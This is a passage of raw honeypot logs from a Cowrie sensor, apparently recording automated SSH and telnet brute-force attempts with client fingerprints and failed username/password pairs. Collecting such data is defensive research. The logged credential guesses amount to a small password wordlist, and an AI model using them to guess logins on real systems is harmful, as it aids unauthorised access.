":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:37.205215Z","src_ip":"104.208.108.166","session":"4352975dd837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd001","message":"login attempt [root/P@ssw0rd001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:38.136386Z","src_ip":"104.208.108.166","session":"4352975dd837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:39.362872Z","src_ip":"104.208.108.166","session":"4352975dd837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":42538,"dst_ip":"10.17.0.5","dst_port":22,"session":"3423f13ffee2","protocol":"ssh","message":"New connection: 115.241.83.2:42538 (10.17.0.5:22) [session: 3423f13ffee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:00.307551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:00.315576Z","src_ip":"115.241.83.2","session":"3423f13ffee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:00.585658Z","src_ip":"115.241.83.2","session":"3423f13ffee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@4321","message":"login attempt [root/Root@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:01.558066Z","src_ip":"115.241.83.2","session":"3423f13ffee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:02.797287Z","src_ip":"115.241.83.2","session":"3423f13ffee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":15450,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e806a93a224","protocol":"ssh","message":"New connection: 104.208.108.166:15450 (10.17.0.5:22) [session: 8e806a93a224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:32.931587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:32.939396Z","src_ip":"104.208.108.166","session":"8e806a93a224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:33.171942Z","src_ip":"104.208.108.166","session":"8e806a93a224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys@123456789","message":"login attempt [root/Ys@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:34.132750Z","src_ip":"104.208.108.166","session":"8e806a93a224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:55:35.368801Z","src_ip":"104.208.108.166","session":"8e806a93a224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00507760047913,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:00.094653Z","src_ip":"212.30.36.164","session":"7fed2658f1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":50846,"dst_ip":"10.17.0.5","dst_port":22,"session":"af211206c20e","protocol":"ssh","message":"New connection: 115.241.83.2:50846 (10.17.0.5:22) [session: af211206c20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:01.988726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:01.993916Z","src_ip":"115.241.83.2","session":"af211206c20e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:02.233833Z","src_ip":"115.241.83.2","session":"af211206c20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.30.36.164","src_port":35992,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f177501841","protocol":"telnet","message":"New connection: 212.30.36.164:35992 (10.17.0.5:23) [session: 11f177501841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:02.919633Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:03.216728Z","src_ip":"115.241.83.2","session":"af211206c20e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:04.456743Z","src_ip":"115.241.83.2","session":"af211206c20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":34318,"dst_ip":"10.17.0.5","dst_port":22,"session":"865f0034cfc0","protocol":"ssh","message":"New connection: 104.208.108.166:34318 (10.17.0.5:22) [session: 865f0034cfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:27.828171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:27.832970Z","src_ip":"104.208.108.166","session":"865f0034cfc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:28.062303Z","src_ip":"104.208.108.166","session":"865f0034cfc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123!@#","message":"login attempt [root/qazwsx123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:29.010271Z","src_ip":"104.208.108.166","session":"865f0034cfc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:30.243982Z","src_ip":"104.208.108.166","session":"865f0034cfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":56723,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8994979614","protocol":"ssh","message":"New connection: 213.209.159.159:56723 (159.203.135.109:22) [session: 5c8994979614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:52.544530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:52.549505Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:52.631124Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil","message":"login attempt [kahlil/kahlil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:53.030039Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil1","message":"login attempt [kahlil/kahlil1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:54.114843Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil123","message":"login attempt [kahlil/kahlil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:55.199812Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil1234","message":"login attempt [kahlil/kahlil1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:56.284572Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil12345","message":"login attempt [kahlil/kahlil12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:57.368923Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:56:58.453195Z","src_ip":"213.209.159.159","session":"5c8994979614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":60574,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc213628424","protocol":"ssh","message":"New connection: 115.241.83.2:60574 (10.17.0.5:22) [session: fdc213628424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:00.564691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:00.570042Z","src_ip":"115.241.83.2","session":"fdc213628424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:00.802376Z","src_ip":"115.241.83.2","session":"fdc213628424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazcde3","message":"login attempt [root/1qazcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:01.753196Z","src_ip":"115.241.83.2","session":"fdc213628424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:02.992573Z","src_ip":"115.241.83.2","session":"fdc213628424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":15882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3167db51825","protocol":"ssh","message":"New connection: 104.208.108.166:15882 (10.17.0.5:22) [session: f3167db51825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:21.955522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:21.959820Z","src_ip":"104.208.108.166","session":"f3167db51825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:22.171152Z","src_ip":"104.208.108.166","session":"f3167db51825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amirali","password":"amirali","message":"login attempt [amirali/amirali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:23.050069Z","src_ip":"104.208.108.166","session":"f3167db51825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:24.264374Z","src_ip":"104.208.108.166","session":"f3167db51825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":43130,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f783b5127c2","protocol":"ssh","message":"New connection: 152.244.206.148:43130 (10.17.0.5:22) [session: 9f783b5127c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:26.048418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:26.053452Z","src_ip":"152.244.206.148","session":"9f783b5127c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-